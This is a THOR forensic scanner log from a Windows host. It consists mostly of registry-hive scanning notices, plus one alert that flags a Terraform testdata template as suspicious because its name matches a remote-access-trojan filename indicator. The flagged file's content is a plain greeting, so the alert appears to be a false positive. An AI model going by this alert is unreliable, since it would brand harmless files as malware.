Sep 10 12:31:34 WIN-LRTT94FA08M/10.100.5.12 THOR: Notice: MODULE: Filescan MESSAGE: Suspicious file found SCANID: S-BxzYg1khKSI SCORE: 50 FILE: E:\Users\j-taylor\Documents\DevOps Rep\terraform-main.zip\terraform-main\internal\lang\testdata\functions-test\subdirectory\hello.tmpl EXT: .tmpl TYPE: UNKNOWN SIZE: 15 MD5: 8e147b8c19f76e99063c99dc2a144f5d SHA1: b6e927178337b9976a3496499682e5f231bdef03 SHA256: e0e3fefc2c88b95e221d37afb0e3c4da1e10073f046d3416f4b64e91c131ce9a FIRSTBYTES: 48656c6c6f2c20247b6e616d657d21 / Hello, ${name}! MODIFIED: Mon Jul 29 11:07:37.000 2024 PERMISSIONS:  ARCHIVE_FILE: E:\Users\j-taylor\Documents\DevOps Rep\terraform-main.zip ARCHIVE_TYPE: ZIP ARCHIVE_SIZE: 9103146 ARCHIVE_MD5: 1b21be3bad334b290996069e4162ada4 ARCHIVE_SHA1: 20037437fde7bd949d85a738583d415744d09b95 ARCHIVE_SHA256: 07c247e142ec0de6b85457df7139c641c412d0814950fce16994229fc381b264 ARCHIVE_FIRSTBYTES: 504b03040a0000000000f220fd58000000000000 / PK  X ARCHIVE_CREATED: Tue Aug  6 16:22:46.731 2024 ARCHIVE_MODIFIED: Tue Jul 30 12:59:40.806 2024 ARCHIVE_ACCESSED: Tue Aug  6 16:22:47.216 2024 ARCHIVE_PERMISSIONS: BUILTIN\Administrators:F / NT AUTHORITY\SYSTEM:F REASON_1: Filename IOC \hello.tmp SUBSCORE_1: 50 REF_1: RAT - https://twitter.com/obfusor/status/1538783112145928192 SIGTYPE_1: internal SIGCLASS_1: Filename IOC MATCHED_1: \hello.tmp REASONS_COUNT: 1
Sep 10 12:31:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\NTUSER.DAT
Sep 10 12:31:54 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Analyzing shellbag SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\NTUSER.DAT
Sep 10 12:31:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\ntuser.dat.LOG1
Sep 10 12:31:55 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\ntuser.dat.LOG2
Sep 10 12:32:36 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Microsoft\Windows\UsrClass.dat
Sep 10 12:32:37 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Analyzing shellbag SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Microsoft\Windows\UsrClass.dat
Sep 10 12:32:38 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG1
Sep 10 12:32:38 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Microsoft\Windows\UsrClass.dat.LOG2
Sep 10 12:32:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Clipchamp.Clipchamp_yxz26nhyzhsrt\Settings\settings.dat
Sep 10 12:32:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:42 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.BingNews_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.ECApp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.GamingApp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:43 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.HEVCVideoExtension_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.OutlookForWindows_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Paint_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.People_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.PowerAutomateDesktop_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.RawImageExtension_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:44 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.ScreenSketch_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.SecHealthUI_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Todos_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.VP9VideoExtensions_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.WebMediaExtensions_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.WebpImageExtension_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Win32WebViewHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.CallingShellApp_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.CapturePicker_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:45 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:32:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG2
Sep 10 12:32:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.DevHome_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.NarratorQuickStart_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:46 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.ParentalControls_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:32:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG1
Sep 10 12:32:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\Settings\settings.dat.LOG2
Sep 10 12:32:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:47 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.WindowsAlarms_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.WindowsCalculator_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.WindowsCamera_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.WindowsFeedbackHub_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.WindowsMaps_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.WindowsNotepad_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.WindowsSoundRecorder_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.WindowsStore_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:32:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.WindowsTerminal_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.Xbox.TCUI_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\Settings\settings.dat
Sep 10 12:32:48 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.XboxGamingOverlay_8wekyb3d8bbwe\Settings\settings.dat.LOG1
Sep 10 12:32:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.XboxSpeechToTextOverlay_8wekyb3d8bbwe\Settings\settings.dat
Sep 10 12:32:49 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scanning registry SCANID: S-BxzYg1khKSI HIVE: E:\Users\ws-adm-davis\AppData\Local\Packages\Microsoft.YourPhone_8wekyb3d8bbwe\Settings\settings.dat
